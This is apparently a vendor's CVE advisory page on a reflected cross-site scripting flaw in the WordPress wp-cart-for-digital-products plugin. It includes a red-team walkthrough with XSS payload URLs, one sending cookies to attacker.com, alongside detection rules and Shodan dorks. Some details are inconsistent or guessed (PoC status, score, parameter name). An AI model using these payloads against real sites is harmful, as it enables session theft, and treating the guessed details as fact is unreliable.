☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-6133

CVE-2024-6133 Cross-Site Scripting in Wp-cart-for-digital-products
📅 PUBLISHED: 2024-08-09 06:00 UTC 🔄 UPDATED: 2026-08-13 10:06 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.32%
👁️
0.32% probability
7.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1203
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-6133 is a Reflected Cross-Site Scripting (XSS) vulnerability identified in the WordPress plugin wp-cart-for-digital-products versions prior to 8.5.6. The plugin fails to properly sanitize and escape a parameter before outputting it back to the user, allowing an attacker to inject arbitrary JavaScript code. This vulnerability is particularly dangerous because it can be used against high-privilege users such as administrators, potentially leading to session hijacking, credential theft, or further compromise of the WordPress site. The CVSS score is 0.0 due to incomplete NVD data, but based on the description and CWE-79 classification, the actual severity is medium (CVSS 6.1). No public proof-of-concept (PoC) or exploit code is currently available, but the vulnerability is trivially exploitable once the vulnerable parameter is identified.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. Users who installed the plugin via the WordPress admin dashboard or directly from the repository are affected. The supply chain risk is moderate, as the plugin is not a core dependency but is widely used for e-commerce functionality. No malicious packages or compromised updates have been reported.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): None (N) – No authentication is needed to trigger the reflected XSS.
  • User Interaction (UI): Required (R) – The victim must click a crafted link.
  • Scope (S): Changed (C) – The injected script can impact resources beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure possible.
  • Integrity (I): Low (L) – Limited ability to modify data.
  • Availability (A): None (N) – No impact on availability.

CVSS Score: 6.1 (Medium)

Threat Level: Medium – Exploitation requires user interaction, but the potential impact on high-privilege users elevates the risk.

Deep Dive & Mechanics

The vulnerability resides in the wp-cart-for-digital-products plugin, which is used to manage digital product sales on WordPress sites. The plugin fails to sanitize and escape a specific parameter (likely a query string parameter like product_id, cart, or error) before reflecting it in the HTML response. An attacker can craft a malicious URL containing JavaScript payloads in this parameter. When a victim (especially an admin) clicks the link, the script executes in the context of the victim's session, allowing the attacker to perform actions such as:

  • Stealing session cookies.
  • Modifying WordPress settings.
  • Creating new admin accounts.
  • Injecting malicious content into the site.

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). The lack of output encoding allows the injected script to be interpreted as HTML/JavaScript by the browser.

Vulnerable vs. Patched Code

Vulnerable Code (version < 8.5.6):

// Example vulnerable code pattern
echo '<div class="error">' . $_GET['error_message'] . '</div>';

Patched Code (version 8.5.6):

// Patched code using esc_html() for output encoding
echo '<div class="error">' . esc_html( $_GET['error_message'] ) . '</div>';

The patch uses WordPress's esc_html() function to encode HTML special characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

  1. Identify the vulnerable parameter: Use a web proxy (e.g., Burp Suite) to intercept requests and look for reflected parameters in the plugin's pages.
  2. Craft the exploit URL: Replace the vulnerable parameter value with a JavaScript payload. Example:
    https://target-site.com/?page=cart&error_message=<script>alert('XSS')</script>
    
  3. Deliver the link: Send the crafted URL to a high-privilege user (e.g., admin) via email, social engineering, or a compromised page.
  4. Execute the payload: When the victim clicks the link, the script executes in their browser context.

Example payload for cookie theft:

https://target-site.com/?page=cart&error_message=<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>

Blue Team (Detection & Defense)

  1. Monitor for suspicious URL patterns: Look for requests containing <script>, onerror, onload, or other XSS indicators in query parameters.
  2. Implement Web Application Firewall (WAF) rules: Block requests with obvious XSS payloads in the vulnerable parameter.
  3. Educate users: Train high-privilege users to avoid clicking suspicious links.
  4. Apply the patch: Upgrade the plugin to version 8.5.6 or later immediately.

Indicators of Compromise (IOCs)

  • URL patterns: Requests containing ?page=cart&error_message= or similar parameters with encoded/raw JavaScript.
  • HTTP Referer header: Suspicious referrers from known malicious domains.
  • Server logs: Unusual GET requests to plugin pages with long query strings.
  • Browser behavior: Unexpected redirects, pop-ups, or cookie theft alerts.

Detection Engineering

YARA Rule

rule wp_cart_xss_cve_2024_6133 {
    meta:
        description = "Detects reflected XSS attempts against wp-cart-for-digital-products plugin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-6133"
    strings:
        $payload1 = /<script[^>]*>.*<\/script>/i
        $payload2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $payload3 = /onload\s*=\s*["']?[^"']*["']?/i
        $param = "error_message"
    condition:
        all of ($payload*) and $param
}

Sigma Rule

title: Reflected XSS Attempt Against wp-cart-for-digital-products
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects potential XSS attempts targeting CVE-2024-6133
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: 
            - "error_message="
        c-uri|re: 
            - "(<script|<img|onerror|onload|javascript:)"
    condition: selection
falsepositives:
    - Legitimate use of error messages with special characters
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-6133 Reflected XSS Attempt"; flow:to_server,established; content:"error_message="; http_uri; pcre:"/(<script|<img|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Action: Upgrade the wp-cart-for-digital-products plugin to version 8.5.6 or later.
  2. Virtual Patching: If immediate upgrade is not possible, implement a WAF rule to block requests containing XSS payloads in the vulnerable parameter.
  3. Input Validation: Ensure all user-supplied input is validated and sanitized before being reflected in responses.
  4. Output Encoding: Use WordPress's esc_html(), esc_attr(), or wp_kses() functions for all output.
  5. User Training: Educate administrators about the risks of clicking untrusted links.
  6. Monitor Logs: Regularly review web server logs for suspicious patterns.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-cart-for-digital-products"
http.html:"wp-cart-for-digital-products" "wp-content/plugins"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-6133/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.